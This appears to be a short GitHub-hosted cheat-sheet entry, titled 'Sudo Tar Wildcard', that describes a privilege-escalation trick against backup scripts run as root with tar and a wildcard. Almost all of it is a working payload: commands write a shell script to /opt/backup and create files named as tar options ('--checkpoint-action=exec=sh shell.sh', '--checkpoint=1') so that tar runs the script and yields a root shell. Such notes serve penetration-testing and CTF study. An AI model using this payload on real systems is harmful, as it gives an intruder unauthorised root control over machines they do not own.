Skip to content

Latest commit

 

History

History
14 lines (10 loc) · 402 Bytes

File metadata and controls

14 lines (10 loc) · 402 Bytes

✳️ Sudo Tar Wildcard

If such scripts are found we can make a payload:

cd /opt/backup
echo -e '#!/bin/bash\n/bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Now we get bash script when the script is ran with root.